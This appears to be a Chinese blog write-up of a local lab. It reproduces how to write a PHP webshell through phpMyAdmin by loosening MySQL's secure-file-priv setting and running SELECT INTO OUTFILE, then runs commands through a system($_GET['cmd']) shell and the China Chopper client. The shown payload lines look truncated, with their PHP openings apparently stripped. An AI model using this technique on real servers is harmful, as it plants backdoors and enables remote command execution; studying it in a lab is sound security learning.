(三)phpstudy下开启mysql,运用phpmyadmin管理执行sql语句,写入一句话后门getshell。

学习mysql数据库漏洞整理过程中,想复现phpmyadmin写入一句话后门getshell的过程遇到很多问题。phpmyadmin是很多网站用来管理数据库的一个系统,尤其是mysql数据库管理的较多。phpmyadmin实现mysql数据库的管理,采用phpstudy实现较为方便。过程出现较多障碍,一步步走向成功,记录。

1 启动phpstudy,出现mysql无法启动的问题

因为之前已经装过Mysql,并使用过。因此要关闭mysql数据库,并且要把系统服务里面的MySQL删除,留下MySQLa服务。

以管理员运行cmd,在cmd命令行下输入:

sc delete mysql    

2 在通过报错等方式获取phpmyadmin绝对路径后,出现#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement。

原因是没有开通导入此路径的权限。通过SHOW VARIABLES LIKE "secure_file_priv";查询

(三)phpstudy下开启mysql,运用phpmyadmin管理执行sql语句,写入一句话后门getshell。_第1张图片

因此,我们需要开通此权限在,打开磁盘下PhpStudy\PHPTutorial\MySQL\my.ini文件,修改Secure File Priv。

可以参考一下:

(1)不允许MySQL进行导入导出

# Secure File Priv.
secure-file-priv = null

(2)只允许MySQL在指定的目录下进行导入导出操作

# Secure File Priv.
secure-file-priv = /目录/

(3)不对MySQL的导入导出进行限制(注释或删除secure-file-priv配置)

# Secure File Priv.
#secure-file-priv = "C:/ProgramData/MySQL/MySQL Server 5.7/Uploads"

这里我采用第二种方法,修改指定目录

然后重启phpstudy,重新登录phpmyadmin,然后执行:

select '' into outfile 'E:/PhpStudy/PHPTutorial/WWW/phpMyAdmin/cmd.php';

成功。

(三)phpstudy下开启mysql,运用phpmyadmin管理执行sql语句,写入一句话后门getshell。_第2张图片

访问phpmyadmin下次文件。

(三)phpstudy下开启mysql,运用phpmyadmin管理执行sql语句,写入一句话后门getshell。_第3张图片

然后采用菜刀连接,getshell:

(三)phpstudy下开启mysql,运用phpmyadmin管理执行sql语句,写入一句话后门getshell。_第4张图片

也可以通过创建命令形势的shell实现。

select '\';system($_GET[\'cmd\']); echo \'\'; ?>' INTO OUTFILE 'E:/PhpStudy/PHPTutorial/WWW/phpMyAdmin/cmd.php'

然后访问:http://localhost/phpMyAdmin/cmd.php?cmd=ipconfig,可进行命令执行。

你可能感兴趣的:((三)phpstudy下开启mysql,运用phpmyadmin管理执行sql语句,写入一句话后门getshell。)